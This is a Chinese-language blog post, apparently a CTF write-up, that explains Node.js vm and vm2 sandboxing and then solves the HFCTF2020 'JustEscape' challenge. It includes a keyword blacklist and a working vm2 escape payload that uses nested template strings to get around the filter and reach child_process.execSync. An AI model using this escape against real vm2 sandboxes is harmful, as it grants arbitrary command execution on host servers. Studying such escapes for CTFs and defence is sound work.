vm2沙箱逃匿

admin 2022年1月6日01:27:27评论196 views字数 3685阅读12分17秒阅读模式

vm是nodejs实现的一个沙箱环境,但是官方文档并不推荐使用vm来运行不可信任的代码,vm2则是一个npm包,在vm的基础上,通过es6新增的代理机制,来拦截对外部属性的访问。

es6

vm

vm2是在vm的基础上实现的沙箱,所以内部调用的还是vm的API,在vm中运行一个沙箱环境:

相应的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');

const context = {
animal: 'cat',
count: 2
};

const script = new vm.Script('count += 1; name = "kitty";'); //编译code

vm.createContext(context); // 创建一个上下文隔离对象
for (let i = 0; i < 10; ++i) {
script.runInContext(context); // 在指定的下文里执行code并返回其结果
}

console.log(context);
// 打印: { animal: 'cat', count: 12, name: 'kitty' }

将代码编译为 script,然后创建一个上下文 vm.createContext(context) ,最后我们将编译好的脚本放在一个上下文中运行 script.runInContext

当然也可以不用那么麻烦,直接在沙箱中运行一段代码

1
2
const vm = require("vm");
console.log(vm.runInNewContext("let a = 2;a")); //2

如果不提供上下文变量,那么vm会自己创建一个隔离的上下文context。

显而易见,vm中最关键的就是 上下文context ,vm能逃逸出来的原理也就是因为 context 并没有拦截针对外部的 constructor 和__proto__等属性 的访问

vm2

vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructor 和 __proto__ 这些属性的访问

在vm2 中运行一段代码,如下

1
2
3
4
5
6
7
const {VM, VMScript} = require("vm2");

const script = new VMScript("let a = 2;a");

let vm = new VM();

console.log(vm.run(script));

其中 VM 是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化之后调用 run 方法即可运行一段脚本。

运行的代码和vm2对应的实现:

例题

[HFCTF2020]JustEscape

假的PHP

1
2
3
4
5
6
7
8
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

输入Error().stack

1
run.php?code=Error().stack

报vm2错误

1
Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

https://github.com/patriksimek/vm2/issues/225

fuzz 一下,有 for, while, process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号被过滤了。

可以利用字符串拼接和数组调用(对象的方法或者属性名关键字被过滤的情况下可以把对象当成一个数组,然后数组里面的键名用字符串拼接出来)的方式来绕过关键字的限制,但注意到单双引号和加号同时被过滤了,我们想要直接输入字符串拼接的话似乎也行不通了。这里我们可以利用反引号来把文本括起来作为字符串 https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings,同时我们也可以利用模板字符串嵌套来拼接出我们想要的被过滤了的字符串。

比如这里 prototype 被过滤了,我们可以这样书写

1
`${`${`prototyp`}e`}`

这样就可以拼接出一个 prototype 字符串,最后payload

1
2
3
4
5
6
7
8
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

读取一下题目的源码
server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
const express = require('express');
const app = express();
const {
VM
} = require('vm2');
const error = ``;
app.use(express.static('public'));
app.get('/',
function(req, res) {
res.sendFile(__dirname + "/" + "index.html");
});
app.get('/index.php',
function(req, res) {
res.sendFile(__dirname + "/" + "php.html");
});
app.get('/run.php',
function(req, res) {
const code = req.query.code;
try {
if (!code) {
res.sendFile(__dirname + "/" + "php.html");
return;
}
const blacklists = ['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"', '\''];
if (blacklists.map(v = >code.includes(v)).filter(v = >v).length !== 0) {
res.send(error);
return;
}
const result = new VM().run(code);
res.send(result.toString());
} catch(ex) {
res.send(ex.toString());
}
});
const server = app.listen(3000,
function() {
const host = server.address().address;
const port = server.address().port;
console.log("app listening at http://%s:%s", host, port);
});

参考文章:

vm2实现原理分析
vm2沙箱逃逸分析
https://es6.ruanyifeng.com/?search=weakmap&x=0&y=0

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:27:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vm2沙箱逃匿https://cn-sec.com/archives/721557.html

发表评论

匿名网友 填写信息